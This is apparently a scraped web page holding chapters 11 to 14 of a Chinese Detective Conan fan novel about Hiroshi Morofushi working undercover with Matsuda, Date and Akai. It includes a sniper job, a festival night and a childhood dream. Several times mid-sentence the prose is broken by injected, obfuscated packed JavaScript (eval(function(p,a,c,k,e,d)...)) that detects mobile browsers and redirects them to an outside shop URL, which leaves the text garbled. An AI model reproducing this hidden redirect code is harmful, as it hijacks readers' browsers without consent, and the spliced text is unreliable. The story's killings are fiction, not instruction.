l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883093|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边看(这样说有点奇怪),还是演给组织看,诸伏景光都得有一个合理的晋升过程。 通过清扫现场被代号成员看中带走当司机,又通过这个代号成员接触到行动组的代号成员,借此获得青睐而往上爬,是非常合理且幸运的上升渠道。 所以自愿做这个中间人的松田阵平,的确帮了他一个大忙。 “呵。”松田阵平扯了下嘴角,心情还算愉快:“能让那家伙吃瘪我就够高兴了。” 诸伏景光保持着脸上的微笑,没回答。 “他说今天下午要过来找我。”松田阵平看了眼时间,“哦,快到了,你去接一下吧。” “好的,请问泰斯卡大人现在到达了哪个位置?身上有什么具体的特征吗。”诸伏景光温和地询问道。 松田阵平:“……” 不是,还搁这演啊?卷发的青年眼神诡异地看了眼面前的男人。 实际上真的不知道泰斯卡是谁,过去从未听说过这个代号的诸伏景光,此刻就和当时不清楚松田阵平的代号,只能称呼对方为“松田大人”一样,这么平静地看着目前唯一能给他答案的人。 而能给出答案的卷发青年的手机突然震动了一下。 他垂眼看了眼信息,开口道:“哦,你也不用去接了,他已经过来了。” 在松田阵平说完之后,一道平稳的脚步声逐渐向他们所在的位置靠近,本就没有关上的门被拉开,因外侧走廊灯光的打光关系,一道漆黑高大的阴影覆盖在了房间的地面上。 “哟,你上次不是和我说缺人吗,看我给你找的帮手。”松田阵平用一种轻快的口吻主动打了个招呼,墨镜稍稍下滑,露出了些微的青色:“泰斯卡。” 这种行为对于松田阵平这个人来说是极其少见的,只能证明此刻到来的这个人,和他的关系相当不错。 “哈哈,真没想到你还记得。”熟悉的带着爽朗笑意的声线从身后传来,诸伏景光看着地面上覆盖着连接到他脚边的影子,缓慢地回过了头。 留着短发和胡茬的魁梧青年站在门边,几乎大半个门都被他遮挡,连带着身高都远超常人。 看到诸伏景光的相貌,刚刚还在回答松田阵平的泰斯卡有点惊讶地说道:“你来给我帮忙?” “未免太大材小用了吧。” 又是一个认识苏格兰的代号成员。 诸伏景光的脸上浮现出一抹微笑,声音轻缓而柔和:“好久不见,泰斯卡。” “啊,好久不见。”泰斯卡同样愉快地回应道:“苏格兰。” “啧。”松田阵平有点不耐烦地抱起手:“怎么在他面前就可以直接叫代号了?刚刚不还说不认识吗。” 泰斯卡有点弄不清他的意思,就听到另一侧看不清神色的苏格兰缓缓开口:“如果这是您的命令。” “并且泰斯卡大人也有这个需求的话。” 泰斯卡:“……” 泰斯卡:“…………啊?” “要不,还是直接喊我伊达吧?”有着和伊达航一张脸的代号成员泰斯卡,在这个诡异的氛围里,有点迟疑地开口说道。 11. 第 11 章 泰斯卡……伊达航是来问松田阵平要武器的。 其实基础装备他完全可以自己去拿,每个代号成员都有相当充足的储配和权限。 只是松田阵平喜欢做点小改装,又恰好能从武器的磨损上意识到他们的小动作和习惯。因此他随手的改装,会让那些冷冰冰的工具更贴合使用人的习惯。 没人会讨厌完全适配自己的工具,因此松田阵平的改装向来受欢迎。 不过松田阵平帮忙的名额有限,他也没那么空闲,一般人更没资格委托他做这种小手工。 显然,伊达航是例外。 “不过松田的要价是真的很贵啊。”伊达航摸着下巴感叹道。 松田阵平走进他的工作室就没出来了,还把诸伏景光和伊达航一起丢了出去。 诸伏景光的余光扫了眼伊达航的腰侧,没多停留一秒。而他现在正背着一个乐器包,里面是松田阵平送他的狙丨击丨枪。 乐器包也是松田阵平提供的,他的仓库似乎有很多乱七八糟的东西。 “他还是老样子。”诸伏景光弯着眼,熟练地背着自己的新装备,感叹了一句之后,顺着刚刚松田阵平提到的话题开口:“你这两天的任务需要人手?” “你是打算帮忙吗?”伊达航并不意外对方的主动。 他同样善于分析和推理,和松田阵平一样,很快就判断出苏格兰的现状。 不得不说,苏格兰现在的身份有点尴尬。本来在组织内部已经是个可靠可信的代号成员了,被安排去别的地方当卧底,结果被送回来。 导致现在明面上既没有代号成员的权限,也没办法直接接触代号成员,又必须让自己的行踪变得可循。还得苦兮兮假装自己只是个普普通通的外围清扫工,甚至被松田阵平薅去当司机。 谁家代号成员混得这么糟糕啊? 你说伏特加?那没事了。 诸伏景光轻笑了一声:“其实原本想联系别人帮忙的,不过仔细想了想,升职太快的话,也挺让人怀疑的。” 诸伏景光没有解释口中的别人是谁,伊达航却像是听懂了他在说什么,点头道:“反正你自己安排好就行了,需要帮忙也可以找我。” 又一次提到了帮忙,伊达航若有所思地瞥了眼他身后的乐器包:“狙丨击手的话……你这两天有空吗?” “嗯?”诸伏景光开了个玩笑,嘴角上勾:“我以为我现在已经是你的手下了。” “别。”伊达航立刻想起刚才那诡异的对话和氛围,他做了个停止的动作,有点无奈,“我们好歹也算得上是同期,更别说你获得代号还比我早呢。” 同期…… 苏格兰笑得更愉快了:“但我现在只是个普通的外围成员。” 话是这么说,但是苏格兰并没有因此而继续开称呼玩笑,而是在到达门口前报了个新的邮箱,说道:“记得联系我,泰斯卡。” 泰斯卡点了下头,没有拒绝。 不如说正是因为了解苏格兰的能力,才知道目前这种可以随时把人叫上帮忙的机会有多难得。 组织做任务的时候,除了固定搭档和任务要求队友之外,哪个代号成员来帮忙不需要付出相应的人情的? 现在这种几乎不用付出人情,甚至倒反天罡让苏格兰欠人情的情况,谁能忍住不去多薅两下。 反正泰斯卡没忍住。 诸伏景光坐在驾驶位的位置,乐器包被他搁置在了一侧,目前显得还显得有些笨重的按键手机,在他的手中随意摆动着。 他的手机屏幕上是泰斯卡新发的邮件,已经回复。 泰斯卡很直白的给了具体时间和地点,三天后的一家餐厅包厢——倒不是说他要进去,而是他需要提前以狙丨击手的身份在附近找好坐标。 因为长时间未回应,屏幕自动息屏,诸伏景光看着没什么动静的手机,手肘搭在车窗的位置,单手撑着下巴。车内后视镜倒映出他此刻面无表情显得格外冷淡、甚至有些阴郁的神色。 那双本该如晴空一般透蓝的上挑眼眸,现在看起来都像是即将下雨的天空。 他稍微利用了一下松田阵平不喜欢伪装的直率性格,想试探、并且逼迫他的那位“朋友”主动联系他。 不过目前看来,对方似乎并不乐意联系他。 今天遇到伊达是他的意料之外,这和遇到松田阵平有着明确的不同,后者已经牺牲,而前者却是活着的警察。 一次又一次糟糕的会面,让诸伏景光有相当不妙的预感。 阴郁的蓝色眼眸中倒映出模糊的黑色身影,诸伏景光立刻回神,按了下喇叭。 卷发的青年下意识顺着声音的方向看过来,被墨镜遮掩的眉眼让人看不清他此刻的神色。 松田阵平往着他的方向走来,黄昏的余晖洒在他的身上,带着一种莫名的温柔。 然后他一开口就破坏了那份气质。 “你还没走啊?” 诸伏景光笑道:“工作结束前,是需要完成正式的交接的。” 松田阵平挑眉,懒洋洋打开了后车门,跨步坐了进来,“行吧,那就回去。” 三天很快过去。 诸伏景光在出门时看了眼天气预报,今天的天气相当不错,除了温度有点低之外,风力很弱。简单来说,就是很适合狙丨击。 在前往提前看好的坐标前,他按照泰斯卡的要求先进行了集合,到达位置后,诸伏景光并不意外在现场看到除了泰斯卡的另一个人。 “抱歉,我来晚了。”诸伏景光温和地开口说道。 “不,你没迟到,时间刚刚好。”伊达航看了眼手表,确定了这一点。 而手表上的时间,在诸伏景光到达的一瞬间,恰好跳转到了14:00。 这正是伊达航要求的集合时间。 在诸伏景光开口的一瞬间,原本背对着他的那个青年身体紧绷,绿色眼睛像是盯住猎物的野兽一般锐利地对准了他的方向。 这个长发青年似乎没想到会有人能避开他的感知,像是猫一样无声到达他的身后。 完全是依靠过去经验的诸伏景光唇角带着不变的笑意,扫过对方不算陌生的绿眼睛。 好久不见了,莱伊。 “你们自我介绍一下,接下去的任务需要一起配合。”伊达航开口道。 “绿川景,狙丨击手。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883094|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸星大。”黑色长发的青年平静道。 不是赤井秀一吗。 诸伏景光的目光没有任何攻击性和恶意,心里却想着如果现在喊出一声FBI会发生什么。 其实对于在他自丨杀前阻拦他的莱伊,诸伏景光并没有什么恶感,甚至对方话语的可信度超过50%。 因为在更早之前,他曾遇到过一个和对方长得极其相似的小男孩,对方对莱伊脱口而出了一句“秀哥”。 因为那孩子看起来因为莱伊太凶而要哭出来,诸伏景光就拿出贝斯哄了一会儿这个小男孩,而在这个过程中,他确认了答案。 诸星大是假名,莱伊的真名里一定有“秀”这个音节。 赤井秀一恰好就对上了当年那个男孩的称呼,这大概的确是他的真名。 只是这依旧不能完全代表赤井秀一的立场。先不提FBI和日本公安的关系,就只说…… 诸伏景光的目光扫过伊达航,沉默了一秒。 就算原来真的是FBI,谁知道现在还是不是呢? 赤井秀一感觉一阵恶寒,奇怪地看了眼面前正常的两个人,眯了下眼睛,就恢复成了原本的面无表情。 伊达航还在说明任务:“接下来我会和目标进行交易,如果对方有任何异动,直接开枪。” 这是相当基础的任务,完全用不到两个狙丨击手。而且按照莱伊的技术…… 诸伏景光瞥了眼伊达航,对莱伊……赤井秀一开口问道:“你的射程是多少?” 赤井秀一给了个还算稳妥的数字:“600。” 不,对普通人来说,这已经完全不算稳妥了。注意到伊达航惊讶扬起眉的动作,诸伏景光轻笑了一声。 这个任务不需要两个狙丨击手,伊达航和之前的松田阵平一样,也不知道他擅长狙丨击,对他的射程和技术并不了解。 可是依旧让他加入这个任务,又没有提前问过他的能力。 这并非是不信任苏格兰的能力,而是泰斯卡需要的并不是行动人员。 他需要的是一个心细又可信任的监视者。 诸伏景光眼睛一弯,气质无害而平和,他开口道:“那么,我来做观察员吧。” 监视……执行狙丨击任务的、因女友的推荐而加入组织的狙丨击手,诸星大。 ——如果对方有任何异动,直接开枪。 这句话不仅仅是对任务目标,同样也是对这位刚刚加入组织的外围成员。 但这份警惕,不是诸伏景光所熟悉的伊达航的行动习惯。 泰斯卡却是这么做的。 诸伏景光拿着望远镜,远远观察着和颤抖着的任务目标交流的泰斯卡,平静地汇报着现在的风速和目标信息。 “距离350码,右风……” 诸伏景光知道这个距离,莱伊并不需要观察员,但还是自然地做着自己应尽的工作。 他的话语一顿,隔着望远镜看到目标在泰斯卡离开后的突兀行动,诸伏景光毫无犹豫,迅速做出了判断。 那双蓝色调的眼中一片漠然,他命令道:“开枪。” “砰——” 血花在一瞬间溅开。 12.第 12 章 莱伊——赤井秀一真的很好用。 虽然现在还不是莱伊,但以他现在做任务的效率和频率,大概一年内就能获得代号了。 已经有过一次获取代号经验的诸伏景光这样判断到。 至于他为什么会知道赤井秀一的任务和工作频率,因为最近和赤井秀一搭档的就是他。 他们恰好都是狙丨击手,按照组织喜欢让两个成员一起行动的习惯,在两人已经有过合作经验的前提下,接下去再一起搭档并不是什么奇怪的事情。 再加上赤井秀一、或者现在应该说诸星大,诸星大加入组织的契机有些太暧丨昧了,所以他身上的嫌疑其实挺大的。其他人不一定能监视住他,但是苏格兰肯定没问题。 “这么算的话,我现在应该是在打两份工吧。”诸伏景光若有所思地喃喃自语道。 不仅要干活,还得监视赤井秀一。 赤井秀一看了眼正扛着尸体处理犯罪现场的诸伏景光,思考了半秒,上去搭了把手,开口道:“其实你可以不用做这个。” 知道赤井秀一理解错误的诸伏景光只是笑了笑,动作熟练地收拾好了尾巴,保证琴酒来了都看不出这里刚刚死过人。 诸伏景光摘掉自己手里的清洁手套,嗅了嗅上面难以消除的橡胶味,又重新洗了一遍手。 他用纸巾把自己手上的水珠擦干净,从洗手间走出来,对着在外面靠着墙等着他的赤井秀一说道:“任务已经结束了,接下来自由活动吧。” 赤井秀一点了下头,没有多说什么,转头就离开了当前的位置。 虽然现在算得上是半个搭档,但是他们两并没有住在一起,诸伏景光完全尊重赤井秀一独立自主的个体性。 同样的,赤井秀一也从不对他的行动产生质疑。 比起面对其他人,诸伏景光和赤井秀一搭档的这段时间,他反而有点回到过去的感觉。 那个时候赤井秀一已经获得了莱伊的代号,偶尔会和波本对上,两个人互相看不顺眼……或者说是波本单方面对莱伊看不顺眼。 想到这里,诸伏景光眉眼都柔和了不少。 他很清楚,自己目前的精神状态并不能算得上有多正向,但依旧还在他可以处理的范围内。 他对这样的压力并不陌生。 在幼年因父母在他面前被谋杀时,被父母要求藏在狭小黑暗的柜子之中时,捂着嘴巴不敢被衣柜外拿着匕首的凶手发现时。 他的肩膀上就一直沉甸甸的覆盖着血腥的、来自于当时的阴影。 不想离开长野,不想离开哥哥。 想任性地抱着哥哥大哭,说想要爸爸妈妈,说不想去东京。 他不想一个人,不想去东京的亲戚家里。好可怕,每天都在做噩梦,好想和哥哥在一起。 但是不行。 说不出口。 会给哥哥添麻烦,会给亲戚添麻烦的。 无法开口,无法记住凶手是谁,连带着记忆都变得混乱模糊。 他住在东京的叔叔牵着手,看着哥哥对着叔叔鞠躬,说麻烦叔叔阿姨照顾景光了。 因为天天做噩梦,所以在一天撑不下去发了高烧。那段时间反复的生病,让叔叔阿姨不得不留下一个人在家里照顾他。 啊……又添麻烦了。 于是在这一刻他学会了忍耐。 不能给叔叔阿姨添麻烦,所以学会做饭,开始承担家里的家务,克制自己给哥哥打电话的频率。 噩梦也好,生病也好,哪怕上一秒还在挣扎在噩梦之中,下一秒脸上就能露出笑容,像是什么都没有发生。 所以这种程度的压力,对诸伏景光来说,还不到无法接受的程度。 诸伏景光长长地呼出一口气,让自己有些突然变得有些沉闷的心情缓和下来。 就在这时,一群不到他腰侧的孩子追逐着往着他的方向跑过来。 跑在最后的那个孩子脸上还戴着一个鬼怪面具,在最后大喊着喊着:“我要抓住你们啦!” 不过不知道是不是面具挡了视线,他还没有说完,就被脚下的一块石头绊倒。他惊呼了一声,过大的面具从脸上掉下,眼看着整个人向前倾倒,下一刻就要摔倒地上。 前面的孩子下意识停下脚步,回过头的神色也变得慌乱起来,就在男孩真的要摔倒在地面上时,一只有力的手臂撑住了他的身体。 “小心。”诸伏景光帮这个男孩站稳。 看着男孩还没有反应过来的样子,诸伏景光蹲下身帮他捡起鬼怪面具,连带着声线也因为和孩子对话变得更加温柔:“这个,是你的吧。” 他们现在正在一家便利商店的门口,超市门口有两条彩带随风飘荡着。 拎着一袋刚买的炒面面包和咖啡的赤井秀一停下脚步,有点意外能在这里和对方碰上。 不过这份意外也不重。 因为任务的关系,他们并不在东京,这里很偏僻,偏僻到附近只有这一家商店,对方会经过这边很正常。 赤井秀一稍稍垂着眼看着不远处蹲下身,带着笑容和孩子们说话的诸伏景光,神色间浮现出不明显的审视。 他完全看不懂“绿川景”这个人。 绿川的能力非常优秀,优秀到让人不理解他为什么要加入组织。 以绿川的能力,迟早会获得代号。 但是他看起来完全不像是组织的人——这段时间和对方一起行动,赤井秀一已经不止一次看到对方像这样蹲下身温柔地哄着陌生的孩子了。 哪怕上一秒手上刚沾了血、处理了一具尸体,下一秒绿川也可以弯着眼睛流露出仿佛普通人的温柔笑意。 这倒不是重点,最关键的是,绿川不知道为什么,面对自己的时候,总带着一种奇怪的松弛感。 就像是现在这样,明明已经注意到了他就在旁边,也没有任何伪装防备的意思。 “这个鬼怪面具看起来很精致呢。”诸伏景光还保持着对孩子的笑容。 轻而易举被诸伏景光哄好,一群孩子围在他的身边,一言一句地说了起来。 “这个上次祭典的时候买的!” “我记得那边的杂货店也有类似的款式——” “大哥哥很喜欢吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885975|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我可以送给你!”最开始被扶住的小男孩立刻说道。 “可以吗?”诸伏景光惊讶地问道。 “没关系!而且最近又要开始新的祭典了!” “大哥哥要去参加吗?我可以带大哥哥过去!” “太狡猾了——里绘!” “我也可以带大哥哥一起去!” “哎呀,真是叫人拒绝不了。”诸伏景光笑得更温柔了,他想了想,把凶恶的鬼怪面具戴上,遮掩住那张俊秀温和的面孔。 突然。 “呜哇——!” 带着面具的青年大叫一声,开始张牙舞爪地假装妖怪吓唬小孩。 几个孩子立刻“啊!”地叫了起来,也不知道里面到底有几个是真的吓到,又有几个是在配合诸伏景光的搞怪。 诸伏景光闷闷地笑了两声,连带着肩膀都颤动了两下。 他把这个显得诡异的面具摘下,笑眼弯起:“不过旁边的那位大哥哥比较胆小哦,如果我戴着面具回去的话,他会晚上做噩梦睡不着觉的。所以只能感谢你的好意了,真不好意思啊。” 只是站着没走的赤井秀一:? “没关系!” “哇……真的吗?” “原来两个大哥哥是一起的啊……” 一群小孩的目光好奇又关心地落在了他的身上,然后又发出了小小的惊呼声。 赤井秀一隐约听到了“头发好长”“好帅”“看起来好凶”之类的话语。 他有些无语地看着这个损坏他名声的搭档。 鬼怪面具还被诸伏景光拿在手上,落在脸侧的位置。 黄昏余晖落下,光影闪烁间,那双蓝色的眼眸倒映着怪异的鬼怪面具,犹如猫科动物一般浮现出竖瞳的诡谲模样。 赤井秀一皱起了眉,犹疑着靠近了一步,想看得更清楚。蹲着身的诸伏景光却因为他的动作侧过脸,仰头看向他的方向,那双眼尾上挑的眼眸一如既往透亮又温和,带着一点疑惑。 赤井秀一停下了脚步,这时候才注意到鬼怪面具上眼睛位置的竖瞳。 ……原来是视线错觉。 诸伏景光已经把面具还给了几个孩子,对着他们挥挥手,把一群依依不舍的小朋友给哄走了。 “看来这里最近有祭典呢,要留下来参加吗?”诸伏景光笑着走到赤井秀一的旁边,目光扫了眼他手里拎着的面包和咖啡。 所以说赤井秀一真的弄不太懂对方的这份松弛感。 如果他问的话,诸伏景光大概就要吐槽起自己现在的身份了。反正他再怎么做好人好事,在组织眼中他都是在伪装公安。再怎么做恶事,公安也只会觉得他卧底真辛苦啊。 赤井秀一摇头,没什么委婉的意思,直白说道:“不了。” 黄昏的余光在地面上给他们拉出长长的影子,商店门口的两条彩带在半空慢慢飘荡,落下的阴影恰好覆盖在诸伏景光的影子上。 彩带落下的半透明影子犹如两条尾巴一样,在诸伏景光的身后欢快灵活地摆动着。 “真遗憾。”诸伏景光慢吞吞这样说道。 13.第 13 章 赤井秀一如他自己所说的一样,对附近的活动并不感兴趣,这几天没任务,于是连带着诸伏景光都没怎么见到人。 其实诸伏景光也对祭典没有什么很强烈的兴致,卧底的身份好像把他属于人类的喜怒哀乐都掩盖了大半。在这种人多聚集的场所,诸伏景光总觉得自己格格不入。 黑发蓝眼的青年坐在旅店二楼可以看到外面的位置,在天色渐暗后,他看着一个又一个的居民往着同一个方向汇聚。 有的人穿着普通休闲服,有的人穿着和服浴衣,盘起的头发上佩戴着漂亮的头饰簪花。 穿着打扮不同,但每个人脸上都带着热闹与快乐的笑容。他们都相当期待这一次的活动,欢快的声音隔着高度传递到诸伏景光的耳边。 不知道是不是这里的氛围太过安逸,还是那些孩子把欢快的情绪送给了他——看着这一幕,诸伏景光竟然真的稍稍提起了期待,产生了想混入其中的心情。 这很少见。 似乎只有在7岁之前,他才拥有这种纯粹想凑热闹的心情。 更别说他本就不是喜欢吵闹的人,身边也没什么可以一同前往的友人。 诸伏景光只是远远看着,习惯性地把自己短暂的冲动压下。 就在他想要收回视线的时候,他突然注意到窗外一个角落里有道影子一闪而过,以及那滴答滴答落在地面的猩红。 诸伏景光一顿,他扫了眼那个位置,最终还是翻窗跃了出去。 他的动作轻盈无声,几乎没有引起旁人的注意,其他人都在期待夜晚的祭典和烟花。 诸伏景光快步来到自己刚刚发现的位置,蹲下身,手指抹过地面干涸的红色痕迹,然后放到鼻尖前嗅了嗅。 血腥味。 是受伤了吗? 诸伏景光看着地面上落下的痕迹——看起来还没走远。 抱着这个想法,他顺着痕迹一点一点移动。他的动作没有发出一点声响,周围更是安静,只能听到自己的呼吸声。 大概跟了十分钟,诸伏景光看到那摇晃着的树丛,突然松了口气。 黑发蓝眼的青年蹲下身,对着那个方向伸出一只手,掌心朝上。 “你受伤了,对吗。” 他语气温和:“伤口必须要好好处理才行。” 他们僵持了大概两分钟,一只脏兮兮的黑色丨猫爪试探性地从树丛之中踏出。诸伏景光保持着原本的姿势,直到树丛中探出另一只猫爪跟上。 慢慢的,毛发乱糟糟的黑猫从里面小心翼翼地走了出来。 它后脚看起来像是被什么划伤了。 诸伏景光看着它,依旧没有做出任何动作。 一直等到黑猫主动靠近他,开始用脸蹭他的手背后,诸伏景光才轻轻地挠了挠黑猫的下巴。 他去最近的自动贩卖机那里买了一瓶水,仔细地清洗着黑猫的后腿位置,还不忘安抚道:“可能会有些痛,但很快就好了。” 不知道是不是感受到了他的善意,黑猫在这个过程中都很安静。 就在诸伏景光把伤口处理好,并且缠好绷带时—— “砰!” 随着突如其来的爆破声响起,接二连三的烟花在夜幕中绽放。 原本还很安静的猫咪立刻炸起了毛,诸伏景光眼疾手快地在猫被吓跑前把它捞进怀里。 同样是淡淡的硫磺气息,但这次带来的却是热闹与欢腾。绚烂的烟花消失又盛开,那些下坠的光点像是映入了青年的眼瞳之中。 他看向不远处灯火明亮的祭典,随后轻笑了一声,对着怀里已经没那么炸毛的猫说道:“你也想参加吗?” “……可能人会有些多。” 诸伏景光抱着猫,慢慢往着那些小摊的位置走去。他走得很慢,一旦怀里的黑猫有一点应激的动作,他都会停下脚步。 但黑猫全程都很安静,除了一开始被烟花吓到外,后面就懒洋洋地趴在诸伏景光怀里,就算诸伏景光混进热闹的人群之中,它也没有一点反抗害怕的反应,垂落下的尾巴偶尔还会甩动一下。 诸伏景光看到了前两天那个差点摔倒的小男孩的同款面具,思考了一下,他并没有选择这一款,而是买了旁边的狐狸面具。 和zero有点像,诸伏景光带着细微的笑意在心里这么想到。 戴上狐狸面具后,所有看过来的视线似乎都会被阻隔——诸伏景光突然觉得有些轻松,他在面具下勾起嘴角。 周围的人群看到抱着猫的青年,有几个少女小声惊呼了一声,凑在一起不知道说着些什么,也有几个活泼的孩子好奇地凑过来,问可不可以摸一摸猫猫。 诸伏景光隔着面具的声音有些沉闷,但是一如既往地温和:“那要经过他同意才可以。” 于是面前的一个小女孩就认真地对着诸伏景光怀里的黑猫说道:“猫猫先生,我可以摸一摸你吗?” 诸伏景光轻笑。 猫猫先生很大方,它看起来并不是因为人类才受伤的,对年幼的人类也没有什么应激反应。 第一个小女孩成功摸到了猫猫,于是吸引来了更多的猫咪爱好者。 诸伏景光明明什么都没有打算买,却沾了猫猫先生的光,手里莫名其妙被塞了很多东西。 “猫好像不能吃鲷鱼烧。”诸伏景光有些无奈。 小女孩的母亲捂着嘴笑道:“少吃一点是没有关系的。而且这是送给猫猫先生的朋友——狐狸先生的礼物。” 诸伏景光愣了一下,才反应过来自己脸上现在还戴着狐狸面具。 “……谢谢。” 他没有继续拒绝这份好意。 于是有了一个开始,诸伏景光的手中莫名其妙多了许多小点心。量都不大,也不是特地买的,都是从自己那里分出一部分说要喂给猫猫的。 诸伏景光看了看怀里猫咪的肚子,觉得它应该吃不了这么多。 于是他只能抱着猫,双手手腕挂着一堆带着祭典特色的小零食,连狐狸面具都没空取下,就保持着这样奇奇怪怪的打扮回到了旅店。 诸伏景光走到二楼,恰好在转角处遇到了赤井秀一。 赤井秀一脚步一顿,面无表情地看着眼前形象奇特的男人。 熟悉的声音在面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895167|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具下响起:“好巧,诸星君。” 假名为诸星大的赤井秀一沉默了好几秒,才像是确认什么,开口:“绿川。” 诸伏景光单手抱着猫,恍然意识到赤井秀一为什么是这个反应。他收敛起脸上的笑容,随后才抬起另一只勉强空出的手把脸上的狐狸面具卡在脑侧,礼貌而温和地道歉:“不好意思,我忘记这个面具了。” 赤井秀一:……倒也不是这个原因。 赤井秀一不至于分不清自己搭档的体型,就算遮挡了脸,看身形也能判断出对方的身份,更别说对方衣服都没换。 主要是现在对方的形象让他有些惊讶。 黑发蓝眼的男人左手抱着一只懒洋洋趴着的猫,黑猫那只露在外面的后脚隐隐可以看到绷带的痕迹。同时,他抱着猫的那只手手腕上挂着四五个小小的点心袋,甜品和食物的香气缓缓从他身上向外蔓延开。 另一只还放在额前的狐狸面具的手上,手腕上同样挂着不少类似的小袋子。 还没等他继续问什么,他就听到对方笑着问道:“祭典很有趣哦,这些点心也很好吃,要来一些吗?诸星君。” 赤井秀一:“……” 赤井秀一:“不了。” “真可惜。”又一次说出这句话的诸伏景光这次是真的可惜了。 他抱着已经快要睡过去的黑猫,带着一身属于祭典的气味慢悠悠回到了自己的房间。 赤井秀一看了眼他的背影,又看了看手机里的讯息。他当然不是巧合和对方碰上的,他是真的找绿川有事。 不过也不是什么急事。赤井秀一回忆着刚刚绿川景的形象,熄灭了手机,转身回到了自己的房间。 诸伏景光跪坐在榻榻米上,将那些小点心从手腕上解下来。东西不重,但是依旧在他手腕上压了薄薄一层红痕。 而原本还困倦的黑猫,则是轻盈地跳到一旁开始舔毛。 诸伏景光开始整理东西,但就在这个过程中,他碰到了一个冰冷且和祭典氛围格格不入的东西。 ——那是一把枪。 诸伏景光动作一顿,嘴角原本无意识勾起的弧度在一瞬间消失。 他不应该去参加祭典的。 但看着一旁已经被摘下的狐狸面具,诸伏景光垂下眼,最终又没有把这句叹息说出口。 至少在回来后,那些负面的情绪像是消散了一部分,心情也变得轻松了一些。 也许是好事吧。 诸伏景光不再遮掩自己的情绪,他保持着跪坐的姿态,思索了片刻,对黑猫再次伸出手:“是因为你的关系吗?” 黑猫舔毛的动作停下,主动凑过去蹭了蹭诸伏景光的手,尾巴松垮垮地圈在他手腕上。 于是黑发蓝眼的青年终于又笑了起来,上挑的眼眸带着真实又温和的笑意,他顺着毛摸了摸黑猫的脑袋。 “谢谢。” 两双极其相似的猫眼对上,黑猫仰着头看着面前的黑发青年,盯着那双眼底深处缓缓浮现出竖瞳的蓝色眼眸。一直安静的猫咪仰起头,像是回应一般,回答了诸伏景光。 “喵~” 14.第 14 章 诸伏景光久违地做了一场梦。 他当然知道自己在做梦,因为他看到了zero,小时候的zero。 深肤金发的男孩穿着浅色的T恤,正皱着眉低头看着他的方向。 诸伏景光将目光从年幼的幼驯染身上移开,扫了一圈周围的环境——是他以前和zero很喜欢待的小公园,距离宫野诊所很近。 “喂——” 确认了地点后,他又低下头,并不意外看到自己变小了一号的手,他试着张合了一下双手。诸伏景光发现他可以操控这个视野降低了太多的的年幼躯体。 “喂!” 他现在躲着的位置,是他之前和zero玩捉迷藏很喜欢藏的一个地方,可以最大限度躲避他人的…… “我说你啊!到底有没有在听我说话!” zero放大的、带着不满声音突然在诸伏景光的耳边炸开。 诸伏景光错愕地抬起头,他的情绪和行为似乎被身体的年龄影响,做出了符合这个年纪的怔愣表情。 降谷零抱着手臂,他原本的不高兴,在对上那双似乎被吓到、呆呆看着他的上挑的蓝眼睛时,突然卡壳了一下。 金发深肤的混血男孩抿住嘴唇,他保持着这个动作,没有再次开口,似乎是在等诸伏景光回应。那认真到称得上执拗的性格,已经在这个时候就表现了出来 ……以前,发生过这种事吗? 诸伏景光对上那双熟悉的灰紫色眼睛,孩童时期的眼瞳颜色更深一些,也显得更亮。 得回应zero才行。 他张开嘴,想喊出那个熟悉的、独属于他们之间的昵称,他得为自己刚才失礼是行为道歉。 ‘zero——’ 声音,发不出来。 诸伏景光愣住了。 他下意识抬手摸了摸脖子的位置,现在的身体没有被他自己制造出来的浅淡疤痕,也没有别的什么伤口。 他只是单纯的无法说话。 ……原来,是这个时候吗。 诸伏景光默默闭上了刚刚张开的嘴巴,有些失落地垂下眼睛。 降谷零却惊愕地睁大了眼睛,因为混血被排挤的关系,他比谁都敏感,所以看到诸伏景光的动作和刚刚的反应,他立刻意识到了答案。 降谷零迟疑的、犹豫的声音再次响了起来:“你……不会说话?” 说完,他就有些后悔了。 这句话似乎太直白了。 诸伏景光却不在意这个,他正在努力回忆过去。虽然因为遭遇的案件导致他童年的记忆有些混淆,很多地方甚至记不清,但是这不代表他会忘记和zero有关的经历。 这里不太对。诸伏景光想。 zero好像不认识他。 但是不对。 他和zero第一次见面是在学校——他作为转校生,转入了zero所在的班级。 因为没办法说话,所以也没办法和他人交好,和同学们都算不上熟悉。 不过混血儿的外形太过显眼,哪怕对方没有主动和他说过话,诸伏景光在一开始就对这个名为降谷零的同学印象很深刻。 